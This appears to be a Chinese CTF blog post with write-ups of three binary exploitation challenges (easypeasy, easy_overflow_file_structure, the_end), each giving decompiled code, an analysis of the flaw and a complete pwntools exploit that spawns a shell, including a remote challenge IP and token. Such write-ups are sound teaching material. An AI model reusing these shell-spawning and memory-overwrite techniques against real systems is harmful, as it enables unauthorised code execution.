pwn题骚东西

有的时候遇到一两题蛮有意思的骚pwn题,但又不方便分类,就开一篇专门记一下一些有趣的pwn题吧

easypeasy

这题是BSides Delhi CTF 2018 writeup的一题pwn

还算挺新颖的简单题

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found****
NX:       NX enabled****
PIE:      No PIE (0x400000)  程序的主要逻辑主要是让用户输入各个寄存器的值,然后在进行syscall
void __noreturn child()
{
  __int64 v0; // [rsp+0h] [rbp-40h]
  __int64 v1; // [rsp+8h] [rbp-38h]
  __int64 v2; // [rsp+10h] [rbp-30h]
  __int64 v3; // [rsp+18h] [rbp-28h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  __int64 v5; // [rsp+28h] [rbp-18h]
  __int64 v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  signal(14, (__sighandler_t)handler);//超时触发14信号,从而执行handler
  while ( 1 )
  {
    do
    {
      get_obj(&v0);
      obj = v0;
      qword_6010A8 = v1;//将各个寄存器的值存入bss段中
      qword_6010B0 = v2;
      qword_6010B8 = v3;
      qword_6010C0 = v4;
      qword_6010C8 = v5;
      qword_6010D0 = v6;
    }
    while ( (unsigned int)validate_syscall_obj(v0) );
    raise(14);
  }
}

__int64 __fastcall validate_syscall_obj(signed __int64 a1)
{
  unsigned int v2; // [rsp+14h] [rbp-4h]
//输入的rax值为1,2,3,60的时候会退出第一个while循环,进行raise(14)引发signal
  if ( a1 == 2 )
  {
    v2 = 0;
  }
  else if ( a1 > 2 )
  {
    if ( a1 == 3 )
    {
      v2 = 0;
    }
    else
    {
      if ( a1 != 60 )
        return 1;
      v2 = 0;
    }
  }
  else if ( a1 )
  {
    if ( a1 != 1 )
      return 1;
    v2 = 0;
  }
  else
  {
    v2 = 0;
  }
  return v2;
}

这题的思路很简单,就是向各个寄存器的输送值,最后syscall exec(“/bin/sh”,0,0)

exp:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./easypeasy")

#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		p.recv()
	else:
		p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		p.recvuntil(s)
	else:
		p.recvuntil(s, timeout=timeout)
def sla(a,s):
	p.sendlineafter(a,s)
def sda(a,s):
	p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
binsh = 0x6010D0

ru("RAX: ")
sl("59")
ru("RDI: ")
sl(str(binsh))
ru("RSI: ")
sl(p64(0))
ru("RDX: ")
sl(p64(0))
ru("RCX: ")
sl(p64(1))
ru("R8: ")
sl(p64(1))
ru("R9: ")
sl(str(u64("/bin/sh\0")))#这里算是一个小坑吧
sleep(30)#通过暂停30秒引起handle的执行
getshell()

另外,这题我看别的大佬还有另一种解法,是通过open,read,write函数进行读取flag

from pwn import *
 
def main():
    #r = remote('35.200.228.122', 1337)
    r = process("./easypeasy")
    read(r, 0, 0x601000, 8)
    r.sendline('./flag\x00')
    open(r, 0x601000, 0)
    read(r, 3, 0x601000, 24)
    write(r, 1, 0x601000, 24)
    print r.recv()
    r.interactive()
    
def read(r, fd, buf, count):
    r.sendlineafter('RAX: ', '0')
    r.sendlineafter('RDI: ', str(fd))
    r.sendlineafter('RSI: ', str(buf))
    r.sendlineafter('RDX: ', str(count))
    r.sendlineafter('RCX: ', '0')
    r.sendlineafter('R8: ', '0')
    r.sendlineafter('R9: ', '0')
 
def write(r, fd, buf, count):
    r.sendlineafter('RAX: ', '1')
    r.sendlineafter('RDI: ', str(fd))
    r.sendlineafter('RSI: ', str(buf))
    r.sendlineafter('RDX: ', str(count))
    r.sendlineafter('RCX: ', '0')
    r.sendlineafter('R8: ', '0')
    r.sendlineafter('R9: ', '0')
 
def open(r, pathname, flags):
    r.sendlineafter('RAX: ', '2')
    r.sendlineafter('RDI: ', str(pathname))
    r.sendlineafter('RSI: ', str(flags))
    r.sendlineafter('RDX: ', '0')
    r.sendlineafter('RCX: ', '0')
    r.sendlineafter('R8: ', '0')
    r.sendlineafter('R9: ', '0')
 
if __name__ == '__main__':
    main()

easy_overflow_file_structure

这是 SUCTF招新赛的第四道pwn,总的漏洞利用难度不是很大,但是发现溢出这个过程比较难,一个函数逻辑硬是看了好久好久才能意识到溢出点:

程序一开始是这样的:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-1F40h]

  init();
  fd = fopen("./readme.txt", "r");
  fgets(&s, 0x1F40, stdin);
  su_server(&s);
  fclose(fd);
  return 0;
}

让你输入一大串东西,然后进入su_server函数

char *__fastcall su_server(const char *a1)
{
  unsigned int v1; // eax
  char v3; // [rsp+1Fh] [rbp-1h]

  v1 = time(0LL);
  srand(v1);
  v3 = rand() % 0x80;
  memset(&host, 0, 0x7FuLL);
  memset(&username, 0, 0x7FuLL);
  memset(&researchfield, 0, 0x7FuLL);
  rand_num1 = v3;
  rand_num2 = v3;
  rand_num3 = v3;
  if ( strncmp("GET / HTTP/1.1#", a1, 8uLL) )
    __assert_fail("!strncmp(getMethod,http_header,sizeof(getMethod))", "main.c", 0x59u, "su_server");
  lookForHeader("Host", a1, 0x1F40, &host, 0x7Fu);
  lookForHeader("Username", a1, 0x1F40, &username, 0x7Fu);
  lookForHeader("ResearchField", a1, 0x1F40, &researchfield, 0x7Fu);
  if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
  {
    if ( fd->_flags == 0xDEADBEEF )
    {
      puts("66666");
      secret();
    }
    fclose(fd);
    fflush(stderr);
    abort();
  }
  return response(&host, &username, &researchfield);
}

这个函数的逻辑就是把输入的那一大段的字符串,当做一个http的请求,然后根据关键词Host:xxxx# Username:xxxx# ResearchField:xxxxx#来区分三段字符串,分别把xxx内容放入bss段中对应的位置,xxx字符串长度不能超过127

处理这些操作的函数是lookForHeader:

//lookForHeader(str, input, 0x1F40, &target, 0x7Fu)

  str_len = strlen(str);
  for ( i = 0; ; ++i )
  {
    result_len = 8000 - str_len;
    if ( result_len <= i )
      break;
    if ( !strncmp((input + i), str, str_len) && *(i + str_len + input) == ':' )
    {
      for ( i += str_len + 1; i < 8000 && (*(i + input) == ' ' || *(i + input) == '\t'); ++i )
        ;
      for ( j = i; j < 8000; ++j )
      {
        if ( *(j + input) == '#' )
        {
          if ( j - i + 1 <= 127 )
          {
            n_4 = i + input;
            while ( n_4 < j + input )
            {
              v5 = target++;
              v6 = n_4++;
              *v5 = *v6;
            }
            *target = 0;
          }
          break;
        }
      }
    }
  }

这里是最骚的了,当时看了好久的逻辑,都觉得这个函数是完美的无漏洞函数,但实际上不是

而出问题的地方在函数开头这里:for ( i = 0; ; ++i )

这里会导致,如果输入的input中,有个多个Host:xxxx#的输入,那么for循环就还会继续,而也就会导致溢出,能往target的位置输入超过127个字符

只要利用了这一点,漏洞就很容易触发了

可以发现ResearchField在bss段的位置中,末尾很接近fd,而只要把fd指向的内容为0xDEADBEEF就可以getshell

.bss:000000000060217C                 db    ? ;
.bss:000000000060217D                 db    ? ;
.bss:000000000060217E                 db    ? ;
.bss:000000000060217F rand_num3       db ?                 
.bss:000000000060217F                                         
.bss:0000000000602180                 public fd
.bss:0000000000602180 ; FILE *fd
.bss:0000000000602180 fd              dq ?                    
.bss:0000000000602180                                    
.bss:0000000000602188                 align 20h
.bss:00000000006021A0                 public username
.bss:00000000006021A0 username        db    ? ;
.bss:00000000006021A0                                      
.bss:00000000006021A1                 db    ? ;
.bss:00000000006021A2                 db    ? ;
------------------------------------------------------------
  if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
  {
    if ( fd->_flags == 0xDEADBEEF )
    {
      puts("66666");
      secret();
    }
    fclose(fd);
    fflush(stderr);
    abort();
  }

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn4"
context.binary=bin_elf
#libc = ELF("./libc-2.23.so")
elf = ELF(bin_elf)
libc = elf.libc
if sys.argv[1] == "r":
    p = remote("4xxxxx3",10002)
elif sys.argv[1] == "l":
    p = process(bin_elf)
#-------------------------------------
def sl(s):
	return p.sendline(s)
def sd(s):
	return p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
	return p.sendlineafter(a,s)
def sda(a,s):
	return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
#gdb.attach(p)
pause()
payload = "GET / HTTP/1.1#"
payload +="Host:"+"a"*0x7e+"#"
payload +="Username:"+p64(0xDEADBEEF)+"#"
payload +="ResearchField:"+"c"*0x7e+"#"
payload +="ResearchField:"+"aa"+p64(0x6021A0)+"#"
sl(payload)
print p.recv()
getshell()

the end

这是2018hctf的一题,有点骚东西

首先看一下这个保护机制:除了canary都开了

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

程序逻辑也很简单:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

首先输出一个sleep函数的真实地址,很明显可以用来泄漏libc

接着一个for循环,实现五次向某个地址写入一个字节的数据

思路其实很明确,就是往一个地方写个one gadget,然后执行他

但问题是这里开了Full RELRO导致got表都不能修改了

这可咋办呢?

这里需要了解一波main函数退出时的过程:https://www.jianshu.com/p/c4f081d9f32d

简单来说,在执行exit的时候,存在很多细节的过程,我们需要一步步跟进函数内部去看它具体的执行了哪些东西

这题比较关键的地方是调试,由于开了PIE,这里就需要用到gef下的一个命令:pie breakpoint+偏移地址

可以发现:

exit–>__run_exit_handler–>__call_tls_dtors–>_dl_fini

这里call了一下rip+0x216414,也就是0x7f1cfc04ff48

1542445733809

而这个地址刚刚好是可写的,如果我们将它改成onegadget,那么就可以直接getshell了

要把这个地址跟libc_base相减,得出偏移为0x5f0f48

1542445923615

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from time import *
context.log_level = "debug"
bin_elf = "./the_end"
context.binary=bin_elf
libc = ELF("./libc64.so")
#libc = elf.libc
elf = ELF(bin_elf)

if sys.argv[1] == "r":
    p = remote("150.109.44.250",20002)
    p.sendlineafter("Input your token:","hbRvaYClZuzb9gZkfcO9A4iIzDY5wEjg")
elif sys.argv[1] == "l":
	p = process(bin_elf,env = {"LD_PRELOAD": "./libc64.so"})
    #p = process(bin_elf)
#-------------------------------------
def sl(s):
	return p.sendline(s)
def sd(s):
	return p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
	return p.sendlineafter(a,s)
def sda(a,s):
	return p.sendafter(a,s)
def getshell():
	p.interactive()
#-------------------------------------
#attach(p)
ru("here is a gift ")
leak = p.recv(14)
sleep = int(leak,16)
print hex(sleep)

libc.base = sleep-libc.symbols["sleep"]
one_gadget = libc.base+0x4526a#0x45216#0xf1147#0xf02a4
print "libc---->"+hex(libc.base)
print "one_gadget:",hex(one_gadget)

call = libc.base +0x5f0f48
print "call---->"+hex(call)

pause()
for i in xrange(5):
	sd(p64(call+i))
	sd(p64(one_gadget)[i])
	print p64(one_gadget)[i]

pause()
getshell()

这个脚本打远程能成功,本地不能成功,玄学原因。。。

另外贴一下大佬的wp

suctf